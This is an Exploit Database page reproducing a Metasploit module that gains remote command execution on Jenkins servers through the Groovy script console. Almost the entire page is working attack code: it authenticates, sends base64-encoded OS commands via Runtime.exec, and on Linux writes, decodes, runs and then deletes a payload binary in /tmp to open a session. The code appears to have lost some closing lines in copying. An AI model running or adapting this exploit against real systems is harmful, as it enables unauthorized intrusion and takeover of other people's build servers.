Jenkins – Script-Console Java Execution (Metasploit)

Exploit Database
109 阅读

作者： Metasploit

日期： 2013-01-21
类别：
- remote
平台：
- multiple
来源：https://www.exploit-db.com/exploits/24272/

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# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

include Msf::Exploit::CmdStagerVBS

def initialize(info = {})

super(update_info(info,

'Name' => 'Jenkins Script-Console Java Execution',

'Description'=> %q{

This module uses the Jenkins Groovy script console to execute

OS commands using Java.

'Author' =>

[

'Spencer McIntyre',

'jamcut'

'License'=> MSF_LICENSE,

'DefaultOptions' =>

{

'WfsDelay' => '10',

'References' =>

[

['URL', 'https://wiki.jenkins-ci.org/display/JENKINS/Jenkins+Script+Console']

'Targets' =>

[

['Windows',{'Arch'=> ARCH_X86, 'Platform' => 'win'}],

['Linux',{ 'Arch' => ARCH_X86, 'Platform' => 'linux' }],

['Unix CMD', {'Arch'=> ARCH_CMD, 'Platform' => 'unix', 'Payload' => {'BadChars' => "\x22"}}]

'DisclosureDate' => 'Jan 18 2013',

'DefaultTarget'=> 0))

register_options(

[

OptString.new('USERNAME',[ false, 'The username to authenticate as', '' ]),

OptString.new('PASSWORD',[ false, 'The password for the specified username', '' ]),

OptString.new('TARGETURI', [ true,'The path to jenkins', '/jenkins/' ]),

], self.class)

end

def check

uri = target_uri

uri.path = normalize_uri(uri.path)

uri.path << "/" if uri.path[-1, 1] != "/"

res = send_request_cgi({'uri' => "#{uri.path}login"})

if res and res.headers.include?('X-Jenkins')

return Exploit::CheckCode::Detected

else

return Exploit::CheckCode::Safe

end

def on_new_session(client)

if not @to_delete.nil?

print_warning("Deleting #{@to_delete} payload file")

execute_command("rm #{@to_delete}")

end

def http_send_command(cmd, opts = {})

request_parameters = {

'method'=> 'POST',

'uri' => "#{@uri.path}script",

'vars_post' =>

{

'script' => java_craft_runtime_exec(cmd),

'Submit' => 'Run'

}

request_parameters['cookie'] = @cookie if @cookie != nil

res = send_request_cgi(request_parameters)

if not (res and res.code == 200)

fail_with(Exploit::Failure::Unknown, 'Failed to execute the command.')

end

def java_craft_runtime_exec(cmd)

decoder = Rex::Text.rand_text_alpha(5, 8)

decoded_bytes = Rex::Text.rand_text_alpha(5, 8)

cmd_array = Rex::Text.rand_text_alpha(5, 8)

jcode ="sun.misc.BASE64Decoder #{decoder} = new sun.misc.BASE64Decoder();\n"

jcode << "byte[] #{decoded_bytes} = #{decoder}.decodeBuffer(\"#{Rex::Text.encode_base64(cmd)}\");\n"

jcode << "String [] #{cmd_array} = new String[3];\n"

if target['Platform'] == 'win'

jcode << "#{cmd_array}[0] = \"cmd.exe\";\n"

jcode << "#{cmd_array}[1] = \"/c\";\n"

else

jcode << "#{cmd_array}[0] = \"/bin/sh\";\n"

jcode << "#{cmd_array}[1] = \"-c\";\n"

end

jcode << "#{cmd_array}[2] = new String(#{decoded_bytes}, \"UTF-8\");\n"

jcode << "Runtime.getRuntime().exec(#{cmd_array});\n"

jcode

end

def execute_command(cmd, opts = {})

vprint_status("Attempting to execute: #{cmd}")

http_send_command("#{cmd}")

end

def linux_stager

cmds = "echo LINE | tee FILE"

exe = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)

base64 = Rex::Text.encode_base64(exe)

base64.gsub!(/\=/, "\\u003d")

file = rand_text_alphanumeric(4+rand(4))

execute_command("touch /tmp/#{file}.b64")

cmds.gsub!(/FILE/, "/tmp/" + file + ".b64")

base64.each_line do |line|

line.chomp!

cmd = cmds

cmd.gsub!(/LINE/, line)

execute_command(cmds)

end

execute_command("base64 -d /tmp/#{file}.b64|tee /tmp/#{file}")

execute_command("chmod +x /tmp/#{file}")

execute_command("rm /tmp/#{file}.b64")

execute_command("/tmp/#{file}")

@to_delete = "/tmp/#{file}"

end

def exploit

@uri = target_uri

@uri.path = normalize_uri(@uri.path)

@uri.path << "/" if @uri.path[-1, 1] != "/"

print_status('Checking access to the script console')

res = send_request_cgi({'uri' => "#{@uri.path}script"})

fail_with(Exploit::Failure::Unknown) if not res

@cookie = nil

if res.code != 200

print_status('Logging in...')

res = send_request_cgi({

'method'=> 'POST',

'uri' => "#{@uri.path}j_acegi_security_check",

'vars_post' =>

{

'j_username' => Rex::Text.uri_encode(datastore['USERNAME'], 'hex-normal'),

'j_password' => Rex::Text.uri_encode(datastore['PASSWORD'], 'hex-normal'),

'Submit' => 'log in'

}

})

if not (res and res.code == 302) or res.headers['Location'] =~ /loginError/

fail_with(Exploit::Failure::NoAccess, 'login failed')

end

sessionid = 'JSESSIONID' << res.headers['set-cookie'].split('JSESSIONID')[1].split('; ')[0]

@cookie = "#{sessionid}"

else

print_status('No authentication required, skipping login...')

end

case target['Platform']

when 'win'

print_status("#{rhost}:#{rport} - Sending VBS stager...")

execute_cmdstager({:linemax => 2049})

when 'unix'

print_status("#{rhost}:#{rport} - Sending payload...")

http_send_command("#{payload.encoded}")

when 'linux'

print_status("#{rhost}:#{rport} - Sending Linux stager...")

linux_stager

end

handler

end